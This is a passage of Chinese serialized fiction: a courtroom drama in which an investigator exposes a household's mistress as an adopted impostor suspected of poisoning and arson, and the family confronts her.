二十记掌嘴,很快执行完毕。
行刑衙役退开,松手。
林静薇像一滩烂泥般滑倒在地,脸颊高高肿起,嘴角破裂,鲜血混着唾液不断淌下,染脏了她前襟的绣纹。
几缕头发被汗水和血污黏在肿胀变形的脸上,哪里还有半分平日里的端庄秀美?
她眼神涣散,趴在地上剧烈地喘息咳嗽,每一次呼吸都牵动脸上的伤,带来更尖锐的疼痛。
整个公堂弥漫着一股淡淡的血腥味。
唯有只有林静薇粗重痛苦的喘息声,清晰可闻。
白羡安冷漠地看了一眼受刑后的林氏,转向云昭,声音恢复了审案的平稳:
“云司主,人犯已受其罚。你方才所言,有关林氏身世之关键证据,可继续出示。”
云昭微微颔首,重新面向众人,举起手中的旧锦囊。
“林静薇,她根本就不是林翰之与吴氏的亲生女儿。
她只是一个不知来历、被林家抱养回来的孩子。”
“这锦囊之中所藏,便是当年收养的契书。”
瘫软在地的吕嬷嬷,在听到云昭说出真相时,连最后一丝气息都凝滞了,只剩下浑浊的眼珠,在眼眶里无力地颤动。
而林静薇,如被一道无形的惊雷劈中,整个人剧烈地一颤。
她猛地抬起头,脸上最后一点强撑的镇定土崩瓦解!
“不……不是的!”她连连摇头,声音尖利得变了调,仿佛要用尽全身力气来否定这可怕的宣判,
“你胡说!我就是林家的女儿!我是爹娘唯一的女儿!
什么收养契书……全都是你编造的!全都是假的!”
云昭居高临下俯视着她,一字一句道:“还有这本,是夫人吴氏平生写下的手札。”
林静薇瞳孔骤缩,竟控制不住地发出一声凄厉刺耳的尖叫:“不可能——!”
她死死盯着云昭手中的那本册子,语无伦次地嘶喊:
“你骗人!你骗人!我家……我家当年烧得只剩一片白地!瓦砾都不剩几块!
就算……就算我娘真写了什么,也早就化成灰了!绝不可能还留着!你这是伪造!是构陷!”
林氏先时被打得脸颊红肿,话都说不利索,外人听来,只觉她一直在尖叫,却不大听得清她到底在疯叫什么。
云昭倒是能听清,但她神色未变,只淡淡牵起一抹冷笑,声音平稳得可怕:“谁说手札,就一定留在身边,等着被火烧毁?”
她微微侧首,目光投向堂上端坐的白羡安,语气平稳:
“大人,可否传证人,原江陵府清溪县慈幼院的管事,姜氏上堂?”
白羡安颔首:“传冯氏。”
侧门再开。
一名约莫五十开外的妇人,低着头,步履略显拘谨却沉稳地走了进来。
她身着靛蓝色粗布衣裙、头发在脑后规整挽成圆髻。面容饱经风霜,皱纹深刻。
但一双手指关节粗大,显得十分有力,眼神清明,带着底层妇人特有的那种谨慎与韧劲。
她走到堂中,规规矩矩地跪下磕头:“民妇冯桂花,拜见各位大人。”
林静薇在听到脚步声时,就已不由自主地转头望去。
起初,她眼中只有一片茫然的空洞,仿佛在记忆深处拼命搜寻着什么。
她盯着冯氏那略显陌生却又隐隐透着熟悉轮廓的侧脸,看了足足有四五息的时间。
忽然,她的身体不受控制地开始轻微颤抖,脸色由白转青,那双总是漾着温婉水光的眼眸里,此刻只剩下见
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了活鬼般的惊骇!
云昭将林静薇的反应尽收眼底,声音清晰地向冯氏发问:
“冯桂花,你不必惊慌,只需将你所知之事,如实道来即可。
首先,请你告诉堂上诸位,你手中,为何会保有林夫人吴氏的这本手札?”
冯氏定了定神,先向堂上诸位大人行了礼,才用带着些许江陵口音的官话,清晰说道:
“回大人,回云司主,民妇冯氏,当年是清溪县慈幼院的管事嬷嬷,大家都叫我一声‘桂姐’。
永和十三年春,隔壁县城的富户林老爷林翰之,携夫人吴氏来到我们慈幼院,说是想领养一个年纪在四到六岁、模样周正、性子乖巧的女孩儿。
他们虽是隔壁县人,但在咱们县里也有生意,为人名声不错,家境殷实。
院里当时符合年纪的女孩有七八个,林老爷和夫人看了半天,最后挑中了当时才五岁、名叫白晓薇的孩子。
他们当时提供了完备的户籍、保人文书,各项条件也都符合官府规定,看着又是真心实意想**。
院里的嬷嬷们商议后,便同意了。
她顿了顿,仿佛陷入回忆,声音平缓下来:“办妥官府手续后,孩子就被接走了。
之后过了几年,我因年纪大了,便辞了慈幼院的差使,嫁到了更偏一些的落霞镇。
永和十七年夏天,大概六月头,我在镇上赶集时,偶然遇见了吴氏。
她当时独自一人,脸色有些苍白,见到我时,先是一愣,随即像是下了很大决心,上前叫住了我。
她……她当时神色很不对劲,欲言又止,最后约我次日到城西的‘清心茶馆’细谈。”
“我心里其实隐约有些猜测。”冯氏的眉头蹙了起来,声音里带上一丝复杂难言的情绪,
“我在慈幼院做了好几年,见过不少类似的事。
有些人家起初没有孩子,领养一个回去,视如己出。
可一旦后来自己怀上了亲生骨肉,心思就难免会变,觉得养子养女是外人了,甚至动起将孩子送回来的念头。
我见吴夫人当时气色不佳,又主动寻我,便以为她也是这般打算。
我心里虽替孩子不值,但还是存了几分劝解之心,便应下了。”
“第二日,我如约到了茶馆。吴夫人已经等在那里了。
我们寒暄了几句,便聊起了薇薇……就是白晓薇。
我问她,怎么没带薇薇一起来?
我好几年没见那孩子了,算算年头,她该有九岁了吧?定是出落成大姑娘模样了。”
冯氏说到这里,脸上露出一丝清晰的后怕与困惑:
“谁知,我这话刚问出口,吴夫人竟在**里,猛地打了个寒颤!
是真的哆嗦,我坐对面看得清清楚楚,她手里的茶盏都差点没拿稳。
然后,她就一把抓住了我的手,她的手心冰凉,全是冷汗!
她压低声音,几乎是带着哭腔问我:‘桂姐,你有没有法子……能不能……把孩子退回慈幼院?’
她还说,他们愿意贴补一大笔钱给慈幼院,只求慈幼院能配合,去官府办个手续,
就说……就说孩子不适应,或者他们无力抚养了。”
第260章 坏透了芯子的野种!
堂上一片寂静,所有人都屏息听着这陈年秘辛。
冯氏脸上露出当时那种又是气愤又是不解的神情:“我当时就有点替薇薇那孩子委屈。
都养了整整四年了!就是养只猫儿狗儿,也该有感情了,何况是个活生生、会叫爹娘的孩子?
而且孩子都九岁了,在乡下,有的女孩再过一两年都该议亲了,十三四岁嫁人的也不稀奇。
这时候送回来,孩子心里该多受伤?往后怎么办?”
“我那时实在生气,不免埋怨了吴夫人几句,说她这事做得**道。
还说,她若是不喜那孩子,当初就不该领养,或是早该送回来。
可吴夫人的脾气……真是好得出奇。
她一点也没动怒,只是微垂着头,手一直轻轻抚着自己已经显怀的肚子,默默听着。”
冯氏叹了口气:“我见她这般模样,到底心软了,便换了个话题,问她腹中孩子几个月了。
她这才抬起头,眼神却有些飘忽,轻声说:‘已经五个月了,请老大夫诊过脉,说十有**是个男娃。’”
“我便顺着话头劝她:‘夫人,您看,这一子一女,合在一起,就是个‘好’字。
况且,大家伙儿不都说嘛,领养个孩子,有时候能‘带’来亲生的。
说不定,正是因为你心善养了薇薇,这孩子才乐意投胎到您肚子里呢。”
“我自以为这番话说得在情在理,林夫人听着,脸色似乎有些意动。
她迟疑了许久,才颤抖着手,从袖袋深处,取出一个用油纸包得严严实实的小本子,就是……就是云司主手里的这本手札。”
冯氏的目光投向云昭手中的册子,仿佛又看到了当日的情景。
她的声音不自觉地压低,带上了一丝难以言喻的寒意:“她把本子递给我,手指冰凉。
她说:‘桂姐,这手札……是我从将薇薇领回家那天起,就开始断断续续记下的。
原本想着,这辈子或许就这一个孩子了,记下她的点点滴滴,也是我们母女一场的念想。’”
“然后,她抬起头,直勾勾地看着我,那眼神……我现在想起来都觉得心里发毛。”
冯氏的声音微微发颤,“她说,‘你拿回去,慢慢看。
等你看完了,若还觉得……我应该把薇薇留下……’
她没说完,但我当时就觉得,她表情怪极了,不像是单纯的嫌弃养女,倒像是……倒像是怕极了什么。’”
冯氏咽了口唾沫,继续道:
“我当时刚嫁到落霞县不久,夫君待我不错,婆母也明理,说让我先养好身子,不急找活计,所以还算清闲。
回家后,心里记挂着这事,就打开了那油纸包……”
她的话戛然而止,脸上掠过一抹清晰的惧色。
仿佛那手札里的内容,隔了这么多年,依然能让她心惊肉跳。
众人早已被她这绘声绘色、细节饱满的讲述牢牢吸引,听得入神。
公堂之上,针落可闻,只有压抑的呼吸声。
“哎呀!你这人,说话说一半,急死个人!”
穿绛紫色衣裙的周氏早已听得入了迷,此刻忍不住急声催促,“那手札里到底写了什么?你倒是快说啊!”
就在这时,云昭却忽然开口,打断了众人的追问,问了冯氏另一个问题:
“冯氏,你方才说,慈幼院孩子众多,每日繁忙。
为何时隔四年,你对一个当年只有五岁便离开的孩子,印象如此深刻,甚至能为了她去规劝吴氏?”
冯氏闻言愣了一下,显然没料到云昭会问这个:“我……”
云昭循循善诱:“你不妨给大家伙儿讲讲,你印象里的白晓薇,究竟是个怎样的孩子。
以及,那日你与吴氏重逢,为何会因为她可能被送回,而感到‘委屈’和气愤。仅仅是因为她乖巧吗?”
冯氏若有所思地点了点头,明白了云昭的用意。
她定了定神,重新开口:“云司主问得在理。
赵岚县的慈幼院,当年虽有官府拨些微钱粮,但送来的孩子实在太多,且不少身有残疾或重病。
我们每天从早忙到晚,累得直不起腰,能记住每个孩子的名字就不错了。”
“但要问我为什么独独对薇薇印象深刻,原因说来也简单。”
冯氏眼中流露出回忆的微光,语气复杂,“这孩子,自小就是个美人胚子,粉雕玉琢的,比年画上的娃娃还漂亮。
这倒是其次,最难得的是她那性子……真是乖巧得让人心疼。
说话软声细语,小嘴像抹了蜜,总能说到人心坎里。
有时候我们做活累了,或是遇到什么烦心事,脸色不好,她那么小个人儿,竟能敏锐地察觉出来。
还会蹭过来,用小手给你捶捶腿,说‘桂姐辛苦啦’,‘桂姐别难过’。”
她叹了口气:“这样漂亮、乖巧、贴心的孩子,慈幼院里上上下下,从看门的瘸腿老刘到灶上脾气火爆的张婆子,没有人不喜欢她。
而且,她身体一直很健康,送来时的记录写的是‘父母双亡’。
并非因残疾或重病被弃,这在我们院里,算是‘上等’的孩子了。
所以当年林老爷夫妇来挑人,一眼就相中她。
我们虽不舍,但也替她高兴。她被接走那天,院里好多孩子都哭了,舍不得她。”
一直静静旁听的苏**,初闻这段往事时,同样满是惊讶。
此刻听着冯氏的描绘,眼中却浮现出深切的恍然与苦涩。
林静薇确实就是这样的人。
当年她被母亲从江陵接回苏府,不过九岁稚龄,却能在极短的时间内,赢得阖府上下的喜爱。
上至执掌中馈的母亲,两位正值少年的兄长,下至各房的弟弟妹妹、管事仆役,她总能恰到好处地展示自己的“好”。
她会记得母亲喜欢的茶点,适时奉上;
会在兄长读书疲倦时,“无意”送去清心明目的羹汤;
会拉着堂弟妹们玩耍,将自己不多的好东西“大方”分享;
对待下人,也从不高声斥责,永远是温言细语。
偶尔还会替她们在母亲面前说几句“好话”。
林静薇那种润物细无声的讨好与经营,让苏**这个真正的嫡女,在很长一段时间里,都显得格格不入,甚至被衬得“孤傲”、“不懂事”。
云昭听着,目光缓缓转向跪坐在那里、表情古怪沉寂的林静薇。
她开口道:“冯氏对白晓薇的印象,诸位已听分明。
想必大家此刻,更迫切想知道吴氏手札中,究竟记载了什么内容,竟让一位母亲不惜想将养育了四年的孩子送还慈幼院。”
她转向白羡安:“白大人,吴氏手札内容冗长,我已命人提前将关键部分摘录成册。
现请主簿当堂宣读,以证其详。”
白羡安早已看过那摘录副本,此刻面色凝重地点点头。
他从案几上拿起一叠抄录工整的纸张,递给身旁的主簿:“一字一句,念清楚。”
主簿躬身接过,展开纸张,以平稳无波的声调开始诵读,然而那内容,却字字惊心:
「永和十三年,四月初五。薇薇到家已半月,这孩子极乖巧,夜间竟知为我和夫君端来洗脚水。夫君感动不已,私下对我说,往后即便我们有了亲生子,也定要善待薇薇,视如己出。」
「永和十四年,腊月。薇薇极聪慧,识字快,女红也学得认真。只是……太过黏人。我去绣坊,去布庄,甚至去邻里家串门,她必哭闹跟随,寸步不离。起初只觉孩童依恋,心下温暖。如今……略觉疲惫。然夫君说,孩子依赖娘亲乃是天性,叫我莫要多心。」
「永和十六年,秋。夫君为我求来的‘送子汤药’已服一年又三月,仍无动静。我心灰意冷,夫君亦叹气,言或许命定无子,有薇薇承欢膝下,亦是圆满。薇薇近日愈发懂事,煎药、送药从不假手于人,言‘愿为母亲尽孝’。」
听到此节,堂上众人神色尚算平和。
只觉是一个无子妇人收养爱女、相依为命的
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温馨记录,与冯氏所言及众人对林静薇的惯常印象并无二致。
苏老夫人甚至微微点头,眼中流露出追忆往昔的复杂神色。
然而,主簿接下来的声音,陡然转沉,语速也慢了下来,仿佛每个字都承载着千斤重量:
「永和十七年,二月初九。停了那‘送子汤药’两月有余,今日忽感恶心乏力,请了大夫来瞧,竟是有喜了!已足两月!夫君欣喜若狂,我也恍如梦中。然而欣喜之余,心底却莫名泛起一丝不安。这药服了年余无用,停了两月反而……我强压疑虑,只道是老天终于开眼。」
「永和十七年,三月。孕吐剧烈。薇薇日日亲手熬制安胎药膳,殷勤备至。然自她端来,我饮后必心悸难眠,胎儿躁动。悄悄将药渣拿与相熟大夫查验,道是寻常安胎之物,只分量略重。是我多心否?」
「永和十七年,四月廿三。惊魂!于后园散步,脚下青苔湿滑,几欲跌倒,幸得丫鬟及时扶住。回首,见薇薇立于廊下阴影中,静静观望,手中……似攥着一枚圆滑石子。她见我回头,立时展露笑颜,奔来问安。我通体生寒。」
「永和十七年,五月初八。夫君归家,我终将心中恐惧和盘托出。夫君初时不信,责我孕期多思。入夜,他将薇薇唤至书房,良久,我闻书房内有斥责之声,掌掴之响。夫君归来,面色铁青,只道:‘我已严加管教,令她清醒些。你好生安胎,莫再胡思乱想。’然我心中不安,一夜未眠。」
主簿的声音在这里有了一个明显的停顿,他深吸一口气,才继续念出:
“永和十七年,五月二十。我不能再骗自己了!这根本不是孩童无知!
夫君因生意再次离家,我心神不宁,午间小憩,竟……竟迷迷糊糊看见薇薇站在我榻边,手里拿着夫君去南山寺为我求来的安胎玉符!
她眼神冰冷,全无平日的温软,嘴里似乎在喃喃着什么……
我惊叫醒来,玉符好端端在枕边,薇薇却端着一碗糖水站在门口,笑盈盈问:
‘娘亲做噩梦了吗?喝点糖水压压惊吧。’我浑身发冷,不敢接那碗糖水。”
“她看着我,忽然叹了口气,那眼神……竟像个洞悉一切的大人!
她说:‘娘亲,有了弟弟,就不要薇薇了吗?’
我如坠冰窟!夫君啊夫君,我们领回来的,到底是什么?
我害怕极了,这孩子的心……从一开始就是黑的!我必须送走她!必须!”
主簿念完,合上纸页。
公堂之内,陷入一片死寂。
“所以,林氏她……她真不是老夫人的外甥女?只是个……不知根底的养女?”一个中年男子磕磕巴巴地道。
“何止不知根底!”那绛紫色衣裙的周氏猛地一拍大腿,“听这手札里写的,这根本就是个从小就坏透了芯子的妖孽!野种!”
“我的天爷,九岁就能想着法子害未出世的弟弟,那后来……”
她猛地住口,但未尽之言,所有人都听懂了——
那后来林家满门葬身火海,林翰之“自缢”,恐怕都绝非意外!
“不……不可能……这不可能!”
苏老夫人率先从震惊中回过神来,她剧烈地摇头,脸上血色尽失,
“假的!这手札是伪造的!是有人要害薇薇!薇薇是我弟弟的女儿!是我嫡亲的外甥女!
我看着她出生,我记得她左耳后有一颗小小的红痣!这做不了假!”
她指着堂上的冯氏,声音因激动而扭曲:
“还有你!你这妇人,定是被人收买了!是云昭!是她让你来污蔑薇薇的!
你说,她给了你多少钱?!你竟颠倒黑白,如此构陷我苏家的当家主母!”
面对苏老夫人歇斯底里的指控,冯氏面色平静,只微微摇了摇头,眼中露出一丝怜悯,却并未开口辩解。
云昭也不与苏老夫人争辩,只将手中锦囊内的另一份文件取出,展开。
那是一张泛黄的官府文书,边角盖着清晰的朱红官印。
第261章 我好恨!我好悔啊!
云昭将文书递给身旁的墨七。
墨七会意,双手将契书展开,先是向白羡安、萧启和赵悉等人展示。
随即缓步而行,确保苏家众人皆能看清上面的字迹。
那是一张收养契书。
明确记载了永和十二年春,林翰之、吴氏夫妇于清溪县慈幼院,收养五岁**“白晓薇”一事。
立契人、保人、官府印鉴一应俱全,年月日清晰无误。
在“白晓薇”的名字旁,还有一个小小的、略显稚嫩的红色指印。
铁证如山。
“契书!是真的官府契书!”
“那官印做不了假……”
“还有指印……天哪,竟然真是收养的!”
旁支众人看清后,再也按捺不住,议论纷纷。
先前对林静薇的那一丝同情和犹豫,此刻在确凿的证据和骇人手札面前,彻底烟消云散,取而代之的是深切的恐惧和后怕。
想到自己多年来竟与这样一个人同处一个屋檐下,不少人脊背上都冒出了冷汗。
“老夫人,您请看清楚了,这可是官府存档的文书,印鉴做不得假。”旁支中一位略通文墨的老者颤声劝道。
“是啊,老夫人,这还有慈幼院当年的管事嬷嬷作证呢!”
“老夫人,弟媳妇的手札笔迹,您难道认不出吗?”
众人七嘴八舌,有劝解的,有陈述事实的,虽然语气各异,但态度已然分明——
他们都信了。
苏老夫人听着周遭七嘴八舌、却明显都已深信不疑的劝告,只觉天旋地转,心口憋闷欲裂。
她突然像疯了一样,猛地挣脱苏文正未能及时拉紧的手,踉跄着扑向云昭,一把夺过她手中那本陈旧的手札!
她颤抖着手,胡乱翻开。
熟悉的、娟秀的字迹瞬间撞入眼帘——
那确实是她弟媳吴氏的字!
自她嫁入苏家,离开清溪镇定居京城,每年都要跟远在清溪镇的弟弟、弟媳通信无数。
弟弟常年在外跑生意,大部分嘘寒问暖、絮叨家常的信,都是吴氏写的!
她的目光仓皇扫过那些段落:
「……阿姐上月托人捎来的阿胶已收到,正是我需要的时候,还是阿姐疼我。」
「听闻京中时兴牡丹花样,随信附上我绣的帕子,给阿姐赏玩……」
「薇薇近日学着给阿姐做了一双袜子,针脚虽粗,也是一片孝心。」
那些琐碎的家常问候,穿插在手札的日常记录里,与她记忆中收到的家信内容遥相呼应。
这些,即便有人想作假,也绝难做到!
最让她浑身血液冻结的是,手札其中一页,寥寥数语提及了一件旧事:
「……今日与夫君提及,当年我们的第一个孩儿,若那场急病能熬过来,如今也该有薇薇这般大了,或许这便是缘分。」
“第一个……孩儿?”苏老夫人如遭雷击,猛地抬头,嘶声问,
“什么第一个孩儿?我弟弟和弟妹,何时还有过一个孩儿?!”
云昭平静地看着她,声音清晰地传入每个人耳中:
“林翰之与吴氏,在领养白晓薇之前,曾育有一女,取名林静薇。
那孩子左耳后,确有一颗殷红小痣,是您亲眼所见、亲手抱过的嫡亲外甥女。”
云昭顿了顿,又接着道:“可惜,那孩子刚满周岁不久,便因一场来势汹汹的‘七日风’夭折了。
此事,许是因路途遥远,许是不愿让您徒增悲伤,他们从未在信中提及。
而后他们领养白晓薇为免旁人非议,也为全一份移情之念,他们便让这养女沿用了早夭女儿的名讳与生辰。
苏老夫人,您所以为的嫡亲血脉、弟弟遗孤,从一开始,便是一个被精心修饰过的谎言。”
苏老夫人猛然**两步。
她陡然想起,中间确实有那么两年,信里有关薇薇的消息渐渐就少了。
她曾提出邀薇薇进京来住上一段日子,但每次,弟弟弟媳都以孩子身子弱为由婉拒了。
所以,那个她曾亲眼见过的婴孩,弟弟弟媳的嫡亲血脉,真正的“林静薇”,早就已经**!
而林静薇……这个她疼爱了大半辈子的“外甥女”,这个她力排众议让长子娶进门的儿媳,这个她交付了苏家中馈的当家主母……
竟然是个顶替了她早夭外甥女名字、不知从哪个腌臜角落来的野种!
云昭接着道:“至于耳后红痣,您大可问一问楚大夫和石先生。”
楚大夫捋了捋胡须:“此事于医道而言,并非难事。
以特定药材,譬如朱砂、茜草根混合油脂,反复点染肌肤固定位置。
天长日久,便可形成类似胎记的印记。”
石先生亦微微颔首,补充道:
“不错。且若施术者手法精妙,仅凭肉眼远观或粗略印象,绝难断定其是否为天生。”
“啊——!!!”苏老夫人突然发出一声不似人声的尖叫。
手札从她无力的手中滑落。
她踉跄后退,被苏文正扶住,却如同抓住最后一根稻草般,死死揪住夫君的衣袖,眼神涣散,涕泪横流。
“吴、月、娥——!”
苏老夫人从牙缝里挤出弟媳的闺名,声音嘶哑破裂,充满了无尽的恨意,“你骗得我好苦!”
云昭冷眼旁观着苏老夫人彻底崩溃的丑态,心底泛起一丝冰冷的讥诮。
都到了这般地步,苏老夫人的第一反应,仍旧是将所有过错归咎于他人。
纵然吴氏隐瞒了夭折真相,可做出这决定的,难道仅仅是吴氏一人?
苏老夫人可是林翰之的亲姐姐!
到底要不要告诉她,何时告诉她,此事想必还是林翰之拿的主意。
然而苏老夫人却在这时
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彻底崩溃了!
支撑她半生偏执与强势的基石——
对弟弟血脉的维护、对“可怜”外甥女的无限怜爱、乃至以此对抗亲生女儿带来的“耻辱”……
在这一刻,轰然倒塌。
她这些年都做了什么?
为了这个不知来历的“薇薇”,她冷落、打压、甚至憎恶自己的亲生女儿苏**!
她对林静薇百般维护,找尽借口!
“薇薇太可怜了,无父无母,我们不多疼她,谁疼她?**至少还有我们……”
“**那性子,倔强孤傲,哪有薇薇半分贴心懂事?连我这个亲娘都不知道讨好!”
“薇薇能把苏家上下打理得井井有条,待人接物滴水不漏,这才是当家主母的气度!
**呢?除了读书写字,还会什么?”
“**的婚事,那她自己作孽!怨不得旁人!
薇薇若非家道中落,以她的品貌才情,便是进宫侍奉圣驾也未必不能!
下嫁到我们苏家,已是委屈,我们合该好好补偿她,万不能让她受了半点轻视!”
一句句昔日她对苏**说过的话、对旁人辩解过的话,此刻如同最恶毒的诅咒,反噬回来,狠狠抽打在她自己的脸上!
她不是不知道**委屈,不是看不到**眼中的失望与疏离,可她总是用“薇薇更需要”来麻痹自己,用“**不懂事”来安慰自己!
她甚至为了成全林静薇,放弃了长子原本可能有的更好姻缘,让他娶了这个“表妹”!
可原来,这一切的偏袒、维护、牺牲,都是一场天大的笑话!
她半生心血与情感,竟全都倾注在了一个心肠歹毒的冒牌货身上!
而她的亲生骨肉,却在她一次次的偏心和伤害中,渐行渐远,直至今日在这公堂之上,冰冷地唤她“老夫人”!
巨大的悔恨、羞耻、愤怒与绝望,如同滔天巨浪,将苏老夫人彻底淹没。
她再也支撑不住,像被抽空了所有力气,双腿一软,瘫倒在地,发出沉闷的响声。
她抬起头,血红的眼睛死死瞪向依旧跪在那里、嘴角噙着一丝古怪笑意的林静薇,用尽全身力气,嘶声尖叫:
“你这个**的野种!来历不明的腌臜货!
我真是瞎了眼!猪油蒙了心!这三十多年……竟把你这么个毒物,当成心肝宝贝来疼!来宠!
我……我好恨!我好悔啊——!!!”
穿绛紫色衣裙的周氏,此时忍不住又嘀咕了一句:
“只怕不光是野种,还是害死舅姥爷全家、谋夺家产的真凶呢!”
云昭闻言,目光不易察觉地扫过周氏。
这妇人瞧着一脸市侩刻薄,说话也毒,但每每都能抓住要害,言辞犀利,直戳人心。
倒是不枉她今日花费这般力气,将苏家上下几十口人悉数请到这大理寺公堂。
第262章 你是个什么东西?
“姑母。”林静薇忽而开口。
她直勾勾地盯住苏老夫人,缓声开口,
“您骂的……可真难听。字字句句,都往薇薇心窝子上捅。真是令人心寒。”
她微微歪了歪头,肿胀变形的脸上竟流露出一丝堪称“委屈”的神色,只是眼底深处,是全然的冰冷与嘲弄。
“难道说,这些年来,姑母您对我的那些疼爱、怜惜、毫无保留的偏袒……全都是假的吗?”
苏老夫人被她这颠倒黑白的反问激得浑身发抖,眼泪混着恨意滚滚而下:
“我也巴不得那都是假的!我恨不能那一切都是我做的一场噩梦!
我有多疼你,护你,为了你多少次委屈**,驳了旁人的闲话,阖府上下,谁人不知,谁人不晓?
我把你当眼珠子似的疼啊!可你……你是个什么东西?你配吗?!”
林静薇听着苏老夫人泣血般的控诉,非但没有惧色,反而极轻地笑了一声。
“姑母这话,说得可不对。”她慢慢说道,“姑母一心疼我,我林静薇,又何尝不是掏心掏肺地孝敬姑母,回报苏家?”
她微微抬起下巴,目光缓缓扫过堂上面色各异的苏家众人。
“那年冬天,整个京城都在闹时疫,姑母当时高烧不退,太医署的人都怕过了病气,不敢近前。
是谁,衣不解带在您床前守了七天七夜,亲自煎药试温,用烈酒为您一遍遍擦拭降温?
您当时拉着我的手哭,说‘薇薇,娘若没了你,可怎么活’……这话,您可还记得?”
苏老夫人呼吸一窒。
林静薇继续道:“还有那年春天,公爹被御史**,闭门思过,焦灼万分。
又是谁,连夜冒雨去求了玄都观的玉衡**!
苦苦哀求了整整一夜,才求得**一封陈情手书,助公爹在御前**原委,化解危机?
为此我染上风寒,咳了月余,落下了病根。”
苏文正闻言,持着胡须的手微微一顿,眼底闪过一丝复杂难明的情绪。
云昭则因为林静薇这句话,眼底闪过一抹晶亮。
她果然没猜错,梅柔卿,薛九针,林静薇,还有玉衡**……他们之间有着某种特殊的联系。
林静薇的声音渐渐拔高:
“这些年,苏家后宅何以安宁?各房琐碎何以平息?逢年过节往来应酬,何以从未失礼于人前?
是我!是我这个‘野种’,殚精竭虑,打理得井井有条!
我对姑母的孝心,对苏家的付出,难道……也都是假的吗?
就因为我身上没有流着林家的血,我过去所做的一切,就都成了别有用心,成了罪过吗?!”
她这番话说得情真意切,竟让一部分旁支族人脸上露出了些许动摇。
是啊,就算身世是假,可这些年的相处、这些实实在在的付出,难道也能一笔抹杀?
苏老夫人被她这番连珠炮似的回忆砸得心神恍惚,脸颊的肌肉不受控制地簌簌抖动。
她连连摇头:“你……你闭嘴!你不是真正的薇薇!你不是我的外甥女儿!你再巧舌如簧,也改变不了这个事实!”
“真正的薇薇?”
林静薇内心深处,某根最敏感的弦,在这一刻彻底绷断。
她猛地从地上站了起来!
动作之大,牵动了脸上的伤,让她痛得面容扭曲,但她浑不在意。
胡乱用手背抹去唇边不断渗出的鲜血,那动作粗鲁而暴戾。
她挺直了脊背,尽管衣衫凌乱、脸颊青肿,却陡然散发出一种令人心惊的、混合着怨毒与癫狂的气势。
“你们都一样!一样的虚伪!一样的恶心!一样的……可怜!”
她充血的眼睛如同厉鬼,死死锁住苏老夫人,也仿佛透过她,看到了早已化为枯骨的林翰之与吴氏:
“当初!是你们!亲自把我从那个破院子里带回去!口口声声说会把我当亲生女儿!
给我锦衣玉食,给我取名‘静薇’!让我以为我终于有家了,有爹娘了!”
她的声音陡然拔高,尖利得几乎要刺破耳膜:
“可后来呢?!就因为你怀上了自己的孩子!就因为我身上没有流着你们的血!你们看我的眼神就变了!
害怕了!疏远了!甚至……甚至想把我像扔垃圾一样扔回那个鬼地方!凭什么?!
我伺候你们吃,伺候你们穿,哄你们开心,我做得比那个短命鬼好一千倍一万倍!你们凭什么不要我?!”
苏氏族人之中,径直炸开了锅。
“天爷!她……她这是承认了?”
一个旁支的年轻媳妇脸都白了,紧紧抓着身旁人的胳膊:
“好可怕!大嫂看人的眼神,像要**……”
苏老夫人也被林静薇毫不掩饰的恨意震得**半步。
她颤声追问:“所以,那场大火……到底是不是你……”
林静薇突然止住了狂笑,取而代之的是一种令人毛骨悚然的平静。
她转过头,将目光投向了始终冷眼旁观的云昭,声音恢复了那种柔弱的、带着哭腔的调子:
“云司主当真是煞费苦心,找来了我爹娘当年的札记和领养文书,只为证明我是个无依无靠的孤女。”
“可惜啊……有些事,我没做过,就是没做过。
云昭,你有通天的本事,难道还能凭空变出证据来,证明一个九岁的孩子,能放火烧**吗?”
那眼神,分明在说:你能奈我何?
就在这时,苏**忽而开口:
“永和二十五年冬,母亲突发时疫,病势汹汹。”
苏**缓缓站起身,走到了公堂中央稍前的位置,与云昭并肩而立。
“事后母亲一直感念林氏‘侍疾之功’。
可我记得清楚,母亲病发前三日,林氏以‘秋燥需润肺’为由,亲自炖煮了川贝雪梨羹,日日督促母亲服用。
如今想来,那羹,真的只是润肺吗?”
苏老夫人眼睛瞬间瞠大!
苏**继续道,目光转向苏文正:“元熙三年春,父亲陷入漕运案风波。
林氏‘冒雨跪求’玉衡**,确有其事,府中下人皆可作证,父亲也因此感念。
然而那**您的御史,家中最宠爱的庶子,恰在案发前半月,因‘意外’坠马断了腿。
而为他诊治接骨的,正是与回春堂那位已故的坐堂大夫,刘邝。”
苏文正脸色不由变了。
苏**继续道:“她对苏家每一个人的‘好’,都是如此。
对您,母亲,是先让您‘病’,再‘救’您。
对父亲,是先让您‘困’,再‘帮’您。对我……”
她终于将目光投向脸色逐渐阴沉下来的林静薇,眼中是刻骨的寒意:
“当年出事前几日,我因有些苦夏,食欲不振。是林氏,端来了一碗她‘亲手熬制’的冰镇酸梅汤,说是开胃生津。
我喝了之后,便昏沉睡去,再醒来……”
她顿了一下,声音微微发颤,却更加清晰:
“我从未与任何男子私相授受,为何偏偏在喝了那碗汤后,一切都变了?
到底是谁,处心积虑要毁了我?毁了我,在这苏家内宅,最终得益的……又是谁?”
“你住口!苏**!你不要脸面,我们苏家还要!”
苏老夫人像是被踩了尾巴的猫,猛地尖叫起来。
当年那桩丑闻,是她心中最大的耻辱,她绝不允许任何人再当众揭开!
苏**却忽然笑了。
“为了苏家的‘名声’二字,母亲,您默许了谎言,默许了陷害,甚至……默许了将我推入姜家那个火坑。我的一生都被您毁了。”
“不……不是……”苏老夫人慌乱地摇头,想要反驳。
就在这时,云昭终于再次开口:“白大人,秦王殿下,赵大人。”
云昭对着上首三位主审微微颔首,随即看向墨七。
墨七会意,将先前云昭拿到的那只卷轴,呈上公堂。
林静薇脸上的得意与倨傲,在看到云昭手上那只完好无损的卷轴时,彻底化为惊慌!
“你!怎么会……”
她当时明明放了一把火,这卷轴怎会完好无损?!
白羡安展开卷轴,与秦王、赵悉一
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同观看。
因卷轴内容涉及苏**与裴寂的隐私,白羡安并未命人当众宣读,而是面色沉重地朝苏文正道:
“苏老大人,此事……关乎贵府秘辛及令嫒声誉,还请您与尊夫人,上前一观。”
苏文正早已被一连串的变故冲击得心神俱疲,此刻闻言,心中升起不祥的预感。
他搀扶着几乎站立不稳的苏老夫人,步履沉重地走到案前。
苏老夫人颤抖着手,拿起卷轴。
目光所及,那些文字,看得她头晕目眩。
苏文正却比她看得更仔细,拿着纸张的手,青筋毕露,微微颤抖。
那些文字,那些邪术的描述,与他记忆中许多模糊的、曾被忽略的细节,一一对上了。
桩桩件件,当时只觉是家门不幸,是**命苦,是夫人糊涂。
如今看来,竟是一环扣一环的精心算计!
苏文正缓缓抬起头,看向堂下的林氏,目光最终落在神色平静的女儿脸上。
